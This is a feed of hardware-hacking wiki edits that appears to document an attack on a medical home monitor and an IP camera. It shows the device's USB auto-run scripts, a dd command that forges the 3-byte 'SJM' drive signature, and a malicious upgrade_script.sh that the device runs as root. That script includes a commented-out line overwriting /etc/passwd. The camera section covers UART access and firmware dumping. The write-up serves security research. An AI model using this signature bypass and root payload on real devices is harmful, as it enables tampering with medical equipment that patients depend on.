        mountpt=$(find_unused_mountpt) || error_exit &amp;quot;Failed to find a mount pt&amp;quot;&lt;br /&gt;
        mkdir -p &amp;quot;$mountpt&amp;quot; || error_exit &amp;quot;Failed to create mount pt $mountpt&amp;quot;&lt;br /&gt;
&lt;br /&gt;
	# FIXME- Ugly hack to detect partitions on USB flash drive&lt;br /&gt;
	# Possible bug in Kernel and/or devfs. Either use devfs=nomount kernel cmdline&lt;br /&gt;
        # or fix devfs once and for all.&lt;br /&gt;
        # There is another problem in devfs that after the USB flash disk is removed&lt;br /&gt;
        # the corresponding devfs partitions (part1, part2 etc...) still show up. &lt;br /&gt;
	foobar=`ls -l $scsi_dev | awk &#039;{print $11}&#039;`&lt;br /&gt;
	dd if=/dev/$foobar of=/dev/null bs=1 count=1 &lt;br /&gt;
	&lt;br /&gt;
	# Checking USB signature&lt;br /&gt;
	ret=`check_sign $scsi_dev`	&lt;br /&gt;
	if [ $ret -eq 0 ]; then&lt;br /&gt;
		feedback &amp;quot;Valid pendrive&amp;quot;&lt;br /&gt;
	else&lt;br /&gt;
		# Tanto: Inform the Exec App to show &lt;br /&gt;
		# an Invalid Media Error&lt;br /&gt;
		if [ -p /tmp/remoteInt.pipe ]; then&lt;br /&gt;
			echo &amp;quot;UsbHotplug InvalidMedia&amp;quot; &amp;gt; /tmp/remoteInt.pipe&lt;br /&gt;
			error_exit &amp;quot;Invalid pendrive&amp;quot;&lt;br /&gt;
		else&lt;br /&gt;
			echo &amp;quot;ERROR: /tmp/remoteInt.pipe does not exist!!!&amp;quot;&lt;br /&gt;
		fi&lt;br /&gt;
	fi&lt;br /&gt;
&lt;br /&gt;
        feedback &amp;quot;Mounting $scsi_dev&amp;quot;1&amp;quot; on $mountpt&amp;quot;&lt;br /&gt;
        mount -t auto $scsi_dev&amp;quot;1&amp;quot; $mountpt&lt;br /&gt;
        if [ &amp;quot;$?&amp;quot; -eq 0 ]; then&lt;br /&gt;
            feedback &amp;quot;$scsi_dev&amp;quot;1&amp;quot; is now mounted on $mountpt&amp;quot;&lt;br /&gt;
	    feedback &amp;quot;Launch application specific script&amp;quot;	&lt;br /&gt;
	    sh /etc/launch_appln.sh $mountpt&lt;br /&gt;
        else&lt;br /&gt;
            feedback &amp;quot;Mount error for $scsi_dev&amp;quot;&lt;br /&gt;
        fi&lt;br /&gt;
    else&lt;br /&gt;
        feedback &amp;quot;Ignoring $scsi_dev - already mounted&amp;quot;&lt;br /&gt;
    fi&lt;br /&gt;
}&lt;br /&gt;
  &lt;br /&gt;
# Find and mount all attached USB storage devices&lt;br /&gt;
function mount_all_attached {&lt;br /&gt;
    local scsiuniqid=&amp;quot;&amp;quot;&lt;br /&gt;
    feedback &amp;quot;Find and mount all attached usb storage devices&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    for scsiuniqid in $(allusb_scsiuniqid)&lt;br /&gt;
    do&lt;br /&gt;
        local scsidev=&amp;quot;`diskdev_from_uniqid $scsiuniqid`&amp;quot;&lt;br /&gt;
        if [ &amp;quot;$scsidev&amp;quot; == &amp;quot;UNKNOWN&amp;quot; ]; then&lt;br /&gt;
            sleep 1&lt;br /&gt;
        fi&lt;br /&gt;
        mount_scsi_dev $scsidev&lt;br /&gt;
    done&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
***snip***&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
# The remover script will be invoked when the device is removed. This is&lt;br /&gt;
# useless in a way because umount will have no effect. The only benefit is&lt;br /&gt;
# that the &amp;quot;mount&amp;quot; command will not show stale entries.&lt;br /&gt;
&lt;br /&gt;
# FIXME - Need to add specialized LOGIC to selectively umount USB flash drive &lt;br /&gt;
# which is removed ( unlike umounting all attached USB flash drives )&lt;br /&gt;
feedback &amp;quot;REM = $REMOVER&amp;quot;&lt;br /&gt;
if [ -f $REMOVER ]; then&lt;br /&gt;
    echo &#039;/bin/umount /mnt/sjmpendrives/*&#039; &amp;gt;&amp;gt; $REMOVER&lt;br /&gt;
else&lt;br /&gt;
    echo -e &#039;#!/bin/sh\n/bin/umount /mnt/sjmpendrives/*&#039; &amp;gt; $REMOVER&lt;br /&gt;
fi&lt;br /&gt;
&lt;br /&gt;
# Inform the Export data script when pendrive is unplugged.&lt;br /&gt;
echo -e &#039;\nps -A | grep export_data \nif [ $? -eq 0 ]; then \n\tif [ -p /tmp/usbDataExport.pipe ]; then \n\t\t echo &amp;quot;Hotplug umount&amp;quot; &amp;gt; /tmp/usbDataExport.pipe \n\tfi\nfi&#039; &amp;gt;&amp;gt; $REMOVER&lt;br /&gt;
chmod a+x $REMOVER&lt;br /&gt;
&lt;br /&gt;
mount_all_attached&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Lets look inside of /etc/launch_appln.sh&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;#!/bin/sh&lt;br /&gt;
&lt;br /&gt;
if [ $# -ne 1 ]; then&lt;br /&gt;
        echo &amp;quot;usage: ./launch_appln.sh /mnt/pendrive&amp;quot;&lt;br /&gt;
        exit&lt;br /&gt;
fi&lt;br /&gt;
&lt;br /&gt;
# FIXME  &lt;br /&gt;
# This script may be invoked by hotplug &lt;br /&gt;
# Do not run the script if it is already running &lt;br /&gt;
# updater or data export&lt;br /&gt;
&lt;br /&gt;
mountpt=$1&lt;br /&gt;
script_path=/apps/tanto/&lt;br /&gt;
&lt;br /&gt;
if [ -f $mountpt/version.ini ]; then&lt;br /&gt;
	# call updater script&lt;br /&gt;
	echo &amp;quot;Launching updater script&amp;quot;&lt;br /&gt;
	if [ -f $mountpt/etc/init.d/upgrade_script.sh ]; then&lt;br /&gt;
		sh $mountpt/etc/init.d/upgrade_script.sh $mountpt &amp;gt; /tmp/debugUpdater.txt 2&amp;gt;&amp;amp;1&lt;br /&gt;
		umount /mnt/sjmpendrives/1&lt;br /&gt;
		umount /mnt/pendrive&lt;br /&gt;
	else&lt;br /&gt;
		umount /mnt/sjmpendrives/1&lt;br /&gt;
		umount /mnt/pendrive&lt;br /&gt;
		exit 0&lt;br /&gt;
	fi&lt;br /&gt;
else&lt;br /&gt;
	# Call Data export script&lt;br /&gt;
	echo &amp;quot;Launching export data script&amp;quot;&lt;br /&gt;
	sh $script_path/export_data.sh $mountpt&lt;br /&gt;
    umount /mnt/sjmpendrives/1&lt;br /&gt;
    umount /mnt/pendrive&lt;br /&gt;
fi&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
It looks like their pendrive &amp;quot;signature&amp;quot; is fairly easy to get around.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;rjmendez@Reggie:~/stjude_merlin$ sudo dd if=/dev/sdb1 of=/tmp/.sign bs=1 count=3 skip=501&lt;br /&gt;
3+0 records in&lt;br /&gt;
3+0 records out&lt;br /&gt;
3 bytes copied, 0.00116472 s, 2.6 kB/s&lt;br /&gt;
rjmendez@Reggie:~/stjude_merlin$ hd /tmp/.sign &lt;br /&gt;
00000000  00 00 00                                          |...|&lt;br /&gt;
00000003&lt;br /&gt;
rjmendez@Reggie:~/stjude_merlin$ hd .sign_mod&lt;br /&gt;
00000000  53 4a 4d                                          |SJM|&lt;br /&gt;
00000003&lt;br /&gt;
rjmendez@Reggie:~/stjude_merlin$ sudo dd if=.sign_mod bs=1 count=3 of=/dev/sdb1 bs=1 seek=501&lt;br /&gt;
3+0 records in&lt;br /&gt;
3+0 records out&lt;br /&gt;
3 bytes copied, 0.00700994 s, 0.4 kB/s&lt;br /&gt;
rjmendez@Reggie:~/stjude_merlin$ sudo dd if=/dev/sdb1 of=/tmp/.sign bs=1 count=3 skip=501&lt;br /&gt;
3+0 records in&lt;br /&gt;
3+0 records out&lt;br /&gt;
3 bytes copied, 0.00123249 s, 2.4 kB/s&lt;br /&gt;
rjmendez@Reggie:~/stjude_merlin$ hd /tmp/.sign &lt;br /&gt;
00000000  53 4a 4d                                          |SJM|&lt;br /&gt;
00000003&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Adding the required files to the drive and a small script.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;rjmendez@Reggie:/media/rjmendez/7A3B-B3C6$ ls -lahR&lt;br /&gt;
.:&lt;br /&gt;
total 36K&lt;br /&gt;
drwxr-xr-x  3 rjmendez rjmendez 8.0K May 14 11:04 .&lt;br /&gt;
drwxr-x---+ 8 root     root     4.0K May 14 11:02 ..&lt;br /&gt;
drwxr-xr-x  3 rjmendez rjmendez 8.0K May 13 14:02 etc&lt;br /&gt;
-rw-r--r--  1 rjmendez rjmendez  620 May 14 06:01 passwd&lt;br /&gt;
-rw-r--r--  1 rjmendez rjmendez    4 May 10 17:07 version.ini&lt;br /&gt;
&lt;br /&gt;
./etc:&lt;br /&gt;
total 24K&lt;br /&gt;
drwxr-xr-x 3 rjmendez rjmendez 8.0K May 13 14:02 .&lt;br /&gt;
drwxr-xr-x 3 rjmendez rjmendez 8.0K May 14 11:04 ..&lt;br /&gt;
drwxr-xr-x 2 rjmendez rjmendez 8.0K May 13 14:02 init.d&lt;br /&gt;
&lt;br /&gt;
./etc/init.d:&lt;br /&gt;
total 24K&lt;br /&gt;
drwxr-xr-x 2 rjmendez rjmendez 8.0K May 13 14:02 .&lt;br /&gt;
drwxr-xr-x 3 rjmendez rjmendez 8.0K May 13 14:02 ..&lt;br /&gt;
-rw-r--r-- 1 rjmendez rjmendez  771 May 13 18:27 upgrade_script.sh&lt;br /&gt;
&lt;br /&gt;
rjmendez@Reggie:/media/rjmendez/7A3B-B3C6$ cat etc/init.d/upgrade_script.sh &lt;br /&gt;
#!/bin/sh&lt;br /&gt;
function led_off {&lt;br /&gt;
    for i in `seq 0 7`;&lt;br /&gt;
    do&lt;br /&gt;
        ledControl -l$i -b0&lt;br /&gt;
		sleep 0.05&lt;br /&gt;
    done&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
function led_dim {&lt;br /&gt;
    for i in `seq 0 7`;&lt;br /&gt;
    do&lt;br /&gt;
        ledControl -l$i -b1&lt;br /&gt;
		sleep 0.05&lt;br /&gt;
    done&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
function led_bright {&lt;br /&gt;
    for i in `seq 0 7`;&lt;br /&gt;
    do&lt;br /&gt;
        ledControl -l$i -b2&lt;br /&gt;
		sleep 0.05&lt;br /&gt;
    done&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
function party_mode {&lt;br /&gt;
    counter=0&lt;br /&gt;
    while [ $counter -lt $1 ];&lt;br /&gt;
    do&lt;br /&gt;
        led_off&lt;br /&gt;
        sleep 0.05&lt;br /&gt;
        led_dim&lt;br /&gt;
        sleep 0.05&lt;br /&gt;
        led_bright&lt;br /&gt;
        sleep 0.05&lt;br /&gt;
        let counter=counter+1&lt;br /&gt;
    done&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
/etc/init.d/tantoapp stop&lt;br /&gt;
#cp /mnt/sjmpendrives/1/passwd /etc/passwd&lt;br /&gt;
echo &amp;quot;This worked!&amp;quot; &amp;gt; /root/diditwork.txt&lt;br /&gt;
if [ -f /root/diditwork.txt ];&lt;br /&gt;
then&lt;br /&gt;
    party_mode 15&lt;br /&gt;
else&lt;br /&gt;
    echo &amp;quot;It did not work...&amp;quot;&lt;br /&gt;
fi&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This is the output that we get from the console.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;operator@(none):~$ su root&lt;br /&gt;
Password: &lt;br /&gt;
PAM_unix[265]: (su) session opened for user root by (uid=12)&lt;br /&gt;
root@(none):~# hub.c: new USB device usb-mx2hci-2, assigned address 2&lt;br /&gt;
scsi0 : SCSI emulation for USB Mass Storage devices&lt;br /&gt;
  Vendor: Lexar     Model: USB Flash Drive   Rev: 1100&lt;br /&gt;
  Type:   Direct-Access                      ANSI SCSI revision: 02&lt;br /&gt;
Attached scsi removable disk sda at scsi0, channel 0, id 0, lun 0&lt;br /&gt;
SCSI device sda: 31285248 512-byte hdwr sectors (16018 MB)&lt;br /&gt;
sda: Write Protect is off&lt;br /&gt;
Partition check:&lt;br /&gt;
 /dev/scsi/host0/bus0/target0/lun0: p1&lt;br /&gt;
modprobe: Can&#039;t locate module /dev/sg1&lt;br /&gt;
modprobe: Can&#039;t locate module /dev/sg2&lt;br /&gt;
modprobe: Can&#039;t locate module /dev/sg3&lt;br /&gt;
modprobe: Can&#039;t locate module /dev/sg4&lt;br /&gt;
modprobe: Can&#039;t locate module /dev/sg5&lt;br /&gt;
modprobe: Can&#039;t locate module /dev/sdb&lt;br /&gt;
modprobe: Can&#039;t locate module /dev/sdc&lt;br /&gt;
modprobe: Can&#039;t locate module /dev/sdd&lt;br /&gt;
modprobe: Can&#039;t locate module /dev/sde&lt;br /&gt;
modprobe: Can&#039;t locate module /dev/sdf&lt;br /&gt;
modprobe: modprobe: Can&#039;t locate module nls_cp437&lt;br /&gt;
modprobe: modprobe: Can&#039;t locate module nls_iso8859-1&lt;br /&gt;
modprobe: modprobe: Can&#039;t locate module nls_iso8859-1&lt;br /&gt;
modprobe: modprobe: Can&#039;t locate module nls_iso8859-1&lt;br /&gt;
ls /root&lt;br /&gt;
devel_install.sh  diditwork.txt     setdev.sh         setlog.sh&lt;br /&gt;
root@(none):~# cat /root/diditwork.txt &lt;br /&gt;
This worked!&lt;br /&gt;
root@(none):~# cat /tmp/usbstorage.log &lt;br /&gt;
+++ Starting USB (un)mounter script for device /proc/bus/usb/001/002&lt;br /&gt;
REM = /var/run/usb/%proc%bus%usb%001%002&lt;br /&gt;
Find and mount all attached usb storage devices&lt;br /&gt;
usb proc-fs yields SCSI host number=0 - suffix with zeroes (kernel 2.4)&lt;br /&gt;
Use sgmap to match 0:0:0:0.&lt;br /&gt;
Waiting for device id to appear...&lt;br /&gt;
SCSI disk for 0:0:0:0 is /dev/sda&lt;br /&gt;
Checking /mnt/sjmpendrives/1&lt;br /&gt;
Mountpoint /mnt/sjmpendrives/1 is free&lt;br /&gt;
Checking signature ... &lt;br /&gt;
node1 = /dev/sda1&lt;br /&gt;
Valid pendrive&lt;br /&gt;
Valid pendrive&lt;br /&gt;
Mounting /dev/sda1 on /mnt/sjmpendrives/1&lt;br /&gt;
/dev/sda1 is now mounted on /mnt/sjmpendrives/1&lt;br /&gt;
Launch application specific script&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Party Mode Demo ==&lt;br /&gt;
{{#ev:youtube|cNcGebu8NRs}}&lt;/div&gt;</summary>
		<author><name>Rjmendez</name></author>
	</entry>
	<entry>
		<id>https://wiki.exploitee.rs/index.php?title=File:Merlin-antenna2.jpg&amp;diff=2700</id>
		<title>File:Merlin-antenna2.jpg</title>
		<link rel="alternate" type="text/html" href="https://wiki.exploitee.rs/index.php?title=File:Merlin-antenna2.jpg&amp;diff=2700"/>
		<updated>2017-05-14T19:05:50Z</updated>

		<summary type="html">&lt;p&gt;Rjmendez: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Rjmendez</name></author>
	</entry>
	<entry>
		<id>https://wiki.exploitee.rs/index.php?title=File:Merlin-antenna1.jpg&amp;diff=2699</id>
		<title>File:Merlin-antenna1.jpg</title>
		<link rel="alternate" type="text/html" href="https://wiki.exploitee.rs/index.php?title=File:Merlin-antenna1.jpg&amp;diff=2699"/>
		<updated>2017-05-14T19:05:22Z</updated>

		<summary type="html">&lt;p&gt;Rjmendez: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Rjmendez</name></author>
	</entry>
	<entry>
		<id>https://wiki.exploitee.rs/index.php?title=File:Merlin-side_usb.jpg&amp;diff=2698</id>
		<title>File:Merlin-side usb.jpg</title>
		<link rel="alternate" type="text/html" href="https://wiki.exploitee.rs/index.php?title=File:Merlin-side_usb.jpg&amp;diff=2698"/>
		<updated>2017-05-14T19:04:28Z</updated>

		<summary type="html">&lt;p&gt;Rjmendez: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Rjmendez</name></author>
	</entry>
	<entry>
		<id>https://wiki.exploitee.rs/index.php?title=File:Merlin-back.jpg&amp;diff=2697</id>
		<title>File:Merlin-back.jpg</title>
		<link rel="alternate" type="text/html" href="https://wiki.exploitee.rs/index.php?title=File:Merlin-back.jpg&amp;diff=2697"/>
		<updated>2017-05-14T19:03:49Z</updated>

		<summary type="html">&lt;p&gt;Rjmendez: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Rjmendez</name></author>
	</entry>
	<entry>
		<id>https://wiki.exploitee.rs/index.php?title=File:Merlin-front.jpg&amp;diff=2696</id>
		<title>File:Merlin-front.jpg</title>
		<link rel="alternate" type="text/html" href="https://wiki.exploitee.rs/index.php?title=File:Merlin-front.jpg&amp;diff=2696"/>
		<updated>2017-05-14T19:03:03Z</updated>

		<summary type="html">&lt;p&gt;Rjmendez: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Rjmendez</name></author>
	</entry>
	<entry>
		<id>https://wiki.exploitee.rs/index.php?title=File:Merlin-uart.jpg&amp;diff=2695</id>
		<title>File:Merlin-uart.jpg</title>
		<link rel="alternate" type="text/html" href="https://wiki.exploitee.rs/index.php?title=File:Merlin-uart.jpg&amp;diff=2695"/>
		<updated>2017-05-14T19:02:03Z</updated>

		<summary type="html">&lt;p&gt;Rjmendez: Rjmendez uploaded a new version of &amp;amp;quot;File:Merlin-uart.jpg&amp;amp;quot;&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Rjmendez</name></author>
	</entry>
	<entry>
		<id>https://wiki.exploitee.rs/index.php?title=File:Merlin-uart2.jpg&amp;diff=2694</id>
		<title>File:Merlin-uart2.jpg</title>
		<link rel="alternate" type="text/html" href="https://wiki.exploitee.rs/index.php?title=File:Merlin-uart2.jpg&amp;diff=2694"/>
		<updated>2017-05-14T19:00:28Z</updated>

		<summary type="html">&lt;p&gt;Rjmendez: Rjmendez uploaded a new version of &amp;amp;quot;File:Merlin-uart2.jpg&amp;amp;quot;&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Rjmendez</name></author>
	</entry>
	<entry>
		<id>https://wiki.exploitee.rs/index.php?title=File:Merlin-uart2.jpg&amp;diff=2693</id>
		<title>File:Merlin-uart2.jpg</title>
		<link rel="alternate" type="text/html" href="https://wiki.exploitee.rs/index.php?title=File:Merlin-uart2.jpg&amp;diff=2693"/>
		<updated>2017-05-14T18:55:48Z</updated>

		<summary type="html">&lt;p&gt;Rjmendez: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Rjmendez</name></author>
	</entry>
	<entry>
		<id>https://wiki.exploitee.rs/index.php?title=File:Merlin-uart.jpg&amp;diff=2692</id>
		<title>File:Merlin-uart.jpg</title>
		<link rel="alternate" type="text/html" href="https://wiki.exploitee.rs/index.php?title=File:Merlin-uart.jpg&amp;diff=2692"/>
		<updated>2017-05-14T18:39:59Z</updated>

		<summary type="html">&lt;p&gt;Rjmendez: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Rjmendez</name></author>
	</entry>
	<entry>
		<id>https://wiki.exploitee.rs/index.php?title=File:Merlin-at-home-1.jpg&amp;diff=2691</id>
		<title>File:Merlin-at-home-1.jpg</title>
		<link rel="alternate" type="text/html" href="https://wiki.exploitee.rs/index.php?title=File:Merlin-at-home-1.jpg&amp;diff=2691"/>
		<updated>2017-05-14T18:35:19Z</updated>

		<summary type="html">&lt;p&gt;Rjmendez: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Rjmendez</name></author>
	</entry>
	<entry>
		<id>https://wiki.exploitee.rs/index.php?title=LeFun_Cloud_IPCam&amp;diff=2683</id>
		<title>LeFun Cloud IPCam</title>
		<link rel="alternate" type="text/html" href="https://wiki.exploitee.rs/index.php?title=LeFun_Cloud_IPCam&amp;diff=2683"/>
		<updated>2017-04-21T02:06:50Z</updated>

		<summary type="html">&lt;p&gt;Rjmendez: Created page with &amp;quot;__FORCETOC__ {{Disclaimer}} thumb Category:Cameras This page will be dedicated to a general overview, descriptions, and informatio...&amp;quot;&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__FORCETOC__&lt;br /&gt;
{{Disclaimer}}&lt;br /&gt;
[[File:Cloudipcam_store.png|100px|left|thumb]]&lt;br /&gt;
[[Category:Cameras]]&lt;br /&gt;
This page will be dedicated to a general overview, descriptions, and information related to the LeFun C1 wireless surveillance camera.&lt;br /&gt;
&lt;br /&gt;
== About ==&lt;br /&gt;
The LeFun C1 wireless surveillance camera is a network (Wifi/Ethernet) camera w/ IR LEDs provided by LeFun and available on Amazon.com.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery&amp;gt;&lt;br /&gt;
File:Cloudipcam_front.jpg&lt;br /&gt;
File:Cloudipcam_profile.jpg&lt;br /&gt;
File:Cloudipcam_back.jpg&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Disassembly ==&lt;br /&gt;
The base of the camera is attached with four small phillips screws hidden under silicone rubber feet. Remove all four, the base and board should be open to you.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery&amp;gt;&lt;br /&gt;
File:Cloudipcam_bottom.jpg&lt;br /&gt;
File:Cloudipcam_board.jpg&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== UART ==&lt;br /&gt;
A Login Console is presented on UART (3.3v) at 38400 baud. The pinout for UART can be found below.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery&amp;gt;&lt;br /&gt;
File:Cloudipcam_UART_pins.jpg&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Exploitation ==&lt;br /&gt;
&lt;br /&gt;
U-Boot is available on boot and can probably be init hijacked, thankfully there is a better option that does not require access to the internals.&lt;br /&gt;
&lt;br /&gt;
[[File:Cloudipcam_mxic25l12835f.jpg|100px|thumb]]&lt;br /&gt;
&lt;br /&gt;
The firmware on this model was not available for download elsewhere and I didn&#039;t feel like waiting on the firmware to download over the uart at 38.4k baud so we will resort to the hot air and minipro TL866CS. SPI flash model mxic25l12835f was removed and dumped, the issue I had was that from 0x0 to 0xC00000 every 4 bytes were swapped.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Firmware Format&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Raw data from the chip has an interesting patern to it.&lt;br /&gt;
&lt;br /&gt;
From U-Boot&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;=&amp;gt; md.b 0x02000000 130&lt;br /&gt;
02000000: 47 4d 38 31 32 36 00 00 00 00 01 00 00 00 01 00    GM8126..........&lt;br /&gt;
02000010: 00 00 0b 00 00 00 0d 00 00 00 00 00 00 00 00 00    ................&lt;br /&gt;
02000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................&lt;br /&gt;
02000030: 00 00 00 00 08 00 00 00 0c 00 00 00 18 00 00 00    ................&lt;br /&gt;
02000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................&lt;br /&gt;
02000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................&lt;br /&gt;
02000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................&lt;br /&gt;
02000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................&lt;br /&gt;
02000080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................&lt;br /&gt;
02000090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................&lt;br /&gt;
020000a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................&lt;br /&gt;
020000b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................&lt;br /&gt;
020000c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................&lt;br /&gt;
020000d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................&lt;br /&gt;
020000e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................&lt;br /&gt;
020000f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 aa    ..............U.&lt;br /&gt;
02000100: fa f8 bb f0 ba ba e7 70 5a be 03 aa 0a ea ae ba    .......pZ.......&lt;br /&gt;
02000110: 22 f3 7a ff ba 2d 08 aa f7 aa 2a 3c fa bb aa 9e    &amp;quot;.z..-....*&amp;lt;....&lt;br /&gt;
02000120: 80 2e ea fd b9 ea c2 b5 ec ab 6a ba 8f aa ba ab    ..........j.....&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Dumped from the chip.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;rjmendez@Reggie:~/cloudipcamera$ hd cloudipcamera_mxic25l12835f.BIN | head -n 15&lt;br /&gt;
00000000  31 38 4d 47 00 00 36 32  00 01 00 00 00 01 00 00  |18MG..62........|&lt;br /&gt;
00000010  00 0b 00 00 00 0d 00 00  00 00 00 00 00 00 00 00  |................|&lt;br /&gt;
00000020  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|&lt;br /&gt;
00000030  00 00 00 00 00 00 00 08  00 00 00 0c 00 00 00 18  |................|&lt;br /&gt;
00000040  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|&lt;br /&gt;
*&lt;br /&gt;
000000f0  00 00 00 00 00 00 00 00  00 00 00 00 aa 55 00 00  |.............U..|&lt;br /&gt;
00000100  ff ff ff ff ff ff ff ff  ff ff ff ff ff ff ff ff  |................|&lt;br /&gt;
*&lt;br /&gt;
00001000  80 5a 47 4d 00 00 00 00  00 00 29 18 00 00 00 00  |.ZGM......).....|&lt;br /&gt;
00001010  6f 62 73 6e 62 2e 74 6f  00 00 6e 69 00 00 00 00  |obsnb.to..ni....|&lt;br /&gt;
00001020  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|&lt;br /&gt;
*&lt;br /&gt;
00001100  ea 00 00 0e e5 9f f0 14  e5 9f f0 14 e5 9f f0 14  |................|&lt;br /&gt;
00001110  e5 9f f0 14 e1 a0 00 00  e5 9f f0 10 e5 9f f0 10  |................|&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Lets reorder the bytes. &lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;objcopy -I binary -O binary --reverse-bytes=4 cloudipcamera_mxic25l12835f.BIN cloudipcamera_mxic25l12835f.BIN.swapped&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Merging the two halves together gives us the entire image.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;rjmendez@Reggie:~/cloudipcamera$ binwalk cloudipcamera_mxic25l12835f.BIN.merged &lt;br /&gt;
&lt;br /&gt;
DECIMAL       HEXADECIMAL     DESCRIPTION&lt;br /&gt;
--------------------------------------------------------------------------------&lt;br /&gt;
809008        0xC5830         CRC32 polynomial table, little endian&lt;br /&gt;
852224        0xD0100         Linux kernel ARM boot executable zImage (little-endian)&lt;br /&gt;
865293        0xD340D         gzip compressed data, maximum compression, from Unix, last modified: 2015-10-23 07:16:16&lt;br /&gt;
12582912      0xC00000        JFFS2 filesystem, little endian&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Filesystem&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
The notable data includes the root filesystem.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;rjmendez@Reggie:~/cloudipcamera/extracted/_cloudipcamera_mxic25l12835f.BIN.merged.extracted$ ls&lt;br /&gt;
D340D             D8B3E4  D8BA40  D8BF44  D8CE50  DC11AC  DC15E4  DC1AF4  E7C814  E7CC44  ED5158  ED565C  ED5BAC  FB50C0  FFE67C        jffs2-root-1   jffs2-root-3  jffs2-root-8&lt;br /&gt;
_D340D.extracted  D8B514  D8BC0C  D8C670  D8CEFC  DC12AC  DC16E8  DC1BC0  E7C90C  E7CD44  ED5324  ED5754  ED5CD8  FB51EC  FFEAB0        jffs2-root-10  jffs2-root-4  jffs2-root-9&lt;br /&gt;
D8B0BC            D8B640  D8BD04  D8CBC4  D8D4E8  DC1340  DC180C  E7C050  E7CA0C  E7CE48  ED541C  ED5854  ED5D64  FB5278  FFEDFC        jffs2-root-11  jffs2-root-5&lt;br /&gt;
D8B1BC            D8B6CC  D8BE04  D8CCBC  D8E460  DC13EC  DC193C  E7C198  E7CAA0  E7CF6C  ED551C  ED5958  ED5E30  FB5344  jffs2-root    jffs2-root-12  jffs2-root-6&lt;br /&gt;
D8B2C0            D8B938  D8BE98  D8CDBC  DC10B4  DC14E4  DC1A68  E7C5B0  E7CB4C  ED5050  ED55B0  ED5A7C  ED5F38  FFE230  jffs2-root-0  jffs2-root-2   jffs2-root-7&lt;br /&gt;
rjmendez@Reggie:~/cloudipcamera/extracted/_cloudipcamera_mxic25l12835f.BIN.merged.extracted$ ls _D340D.extracted/&lt;br /&gt;
1A100  _1A100.extracted  9FD828&lt;br /&gt;
